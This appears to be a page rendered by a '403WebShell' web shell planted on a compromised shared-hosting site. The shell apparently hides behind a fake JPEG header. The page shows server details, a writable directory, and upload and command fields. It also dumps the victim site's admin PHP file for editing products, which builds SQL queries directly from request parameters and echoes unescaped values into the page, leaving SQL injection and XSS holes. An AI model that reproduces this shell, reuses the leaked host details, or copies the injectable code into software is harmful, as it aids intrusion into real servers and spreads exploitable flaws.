���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin//product_details.php
<?php include '../action/check-login.php'; include '../action/config.php'; 

$id = $_GET['id'];
$qry = mysqli_query($con,"SELECT * FROM `product` WHERE id='$id'");
$r=mysqli_fetch_array($qry);


$description = $r['description'];
$pname=$r['pname'];
$category=$r['category'];
$subcategory=$r['subcategory'];
$qty=$r['quantity'];
$offer_price=$r['offer_price'];
$hsn = $r['hsn'];
$gst=$r['gst'];
$qty2=$r['qty2'];
$disc=$r['disc'];
$img1=$r['img1'];
$deal_price=$r['deal_price'];
$max_purchase_qty=$r['max_purchase_qty'];

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <title>जीवनदायिनी जीविका गौसेवा सदन</title>
    <link href="css/styles.css" rel="stylesheet" />
    <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js" crossorigin="anonymous"></script>
    <link rel="shortcut icon" href="../images/logo3.png" />
    <style>
        #blink {
        	font-weight: bold;
            color: #007bff;
            transition: 0.5s;
        }
    </style>
</head>
<body class="sb-nav-fixed">
    <?php include 'sidebar_menu.php'; ?>

<main>
	<div class="container-fluid">
	    <ol class="breadcrumb mb-4 mt-2">
	        <li class="breadcrumb-item font-weight-bold">Product Details</li>
	    </ol>
	    <ol class="breadcrumb mb-4 mt-2">
	        <li class="breadcrumb-item font-weight-bold">View and Edit Products </li>
	        
	    </ol>

		<div class="card card-body my-2">
		    <form method="post" enctype="multipart/form-data">
                <div class="form-row">
                    <div class="col-md-6">
                        <div class="form-group">
                            <label class="small mb-0">Product Name</label>
                            <input name="pname" class="form-control" type="text" placeholder="Product Name" value="<?php echo $pname; ?>">
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label class="small mb-0">Category</label>
                            <select name="category" class="form-control" type="text">
                                <option value="<?php echo $category; ?>"><?php echo $category; ?></option>
                                <?php
                                $q1=mysqli_query($con,"SELECT DISTINCT category FROM product ORDER BY category ASC");
                                while($r1=mysqli_fetch_array($q1)){
                                    echo ' <option>'. $r1['category'].' </option> ';
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                </div>
                <div class="form-row">
                    <div class="col-md-6">
                        <div class="form-group">
                            <label class="small mb-0">Sub Category</label>
                            <input name="subcategory" class="form-control" type="text" value="<?php echo $subcategory; ?>">
                        </div>
                    </div>
                    
                </div>
                
                <div class="form-row">
                    <div class="col-md-3">
                        <div class="form-group">
                            <label class="small mb-0">image</label>
                            <?php if($img1!=''){ ?> <img width="80px" src="./assets/img/<?php echo $img1 ?>"> <?php } ?>
                        </div>
                    </div>
                </div>
                <div class="form-row">
                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">Quantity</label>
                            <input name="qty" class="form-control" type="text" min="0" value="<?php echo $qty; ?>" >
                        </div>
                    </div>
                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">HSN</label>
                            <input name="hsn" id="hsn" class="form-control" type="text" value="<?php echo $hsn; ?>" >
                        </div>
                    </div>
                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">GST(%)</label>
                            <input name="gst" id="gst" class="form-control" type="number" value="<?php echo $gst; ?>" >
                        </div>
                    </div>
                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">Price</label>
                            <input name="offer_price" id="offer_price" class="form-control" type="number" value="<?php echo $offer_price; ?>" >
                        </div>
                    </div>
                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">Quantity in gram only</label>
                            <input name="qty2" class="form-control" type="number" value="<?php echo $qty2; ?>" >
                        </div>
                    </div>
                    
                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">Cashback(%)</label>
                            <input name="disc" id="disc" class="form-control" type="number" value="<?php echo $disc; ?>" >
                        </div>
                    </div>

                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">Best Deal Price</label>
                            <input name="deal_price" class="form-control" type="number" value="<?php echo $deal_price; ?>">
                        </div>
                    </div>

                    <div class="col-md-2">
                        <div class="form-group">
                            <label class="small mb-0">Max Purchase Quantity</label>
                            <input name="max_purchase_qty" class="form-control" value="<?php echo $max_purchase_qty; ?>" type="number" >
                        </div>
                    </div>
                </div>
                
                <div class="form-row">

                    
                    <div class="col-md-12">
                        <div class="form-group">
                            <label class="small mb-0">Description</label>
                            <p><?php echo $description; ?></p>
                        </div>
                    </div>
                </div>
                
                <div class="form-group mt-4 mb-0">
                    <input name="id" class="form-control" type="hidden" value="<?php echo $id; ?>" >
                    <button type="submit" name="update_product" class="btn btn-primary btn-block">Submit</button>
                </div>
            </form>

		</div>

	</div>
</main>

    <?php include 'footer.php'; ?>

    <script type="text/javascript">
        var blink = document.getElementById('blink');
        setInterval(function() {
            blink.style.opacity = (blink.style.opacity == 0 ? 1 : 0);
        }, 700);

        $(document).ready(function() {
            
            $("#disc").keyup(function() {
                var disc = document.getElementById("disc").value;
                var price = document.getElementById("price").value;
                var final_value = price - price * disc / 100;
                document.getElementById("offer_price").value = Math.ceil(final_value);
            });
        });
    </script>
</body>
</html>
<?php

if (isset($_POST['update_product'])) {
    $id=$_POST['id'];
    $pname=$_POST['pname'];
    $category=$_POST['category'];
    $subcategory=$_POST['subcategory'];
    $qty=$_POST['qty'];
    $offer_price=$_POST['offer_price'];
    $hsn = $_POST['hsn'];
    $gst=$_POST['gst'];
    $qty2 = $_POST['qty2'];
    $disc = $_POST['disc'];
    $deal_price=$_POST['deal_price'];
    $max_purchase_qty=$_POST['max_purchase_qty'];

    $qry = mysqli_query($con,"UPDATE `product` SET `pname`='$pname',`category`='$category',`subcategory`='$subcategory',`quantity`='$qty',`hsn`='$hsn',`gst`='$gst',
    `offer_price`='$offer_price',`qty2`='$qty2',`disc`='$disc',`deal_price`='$deal_price',`max_purchase_qty`='$max_purchase_qty' WHERE id='$id'");

    if($qry){
        echo ' 
            <script>
                alert("update Successfully");
                window.location.href="";
            </script>
         ';
    }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit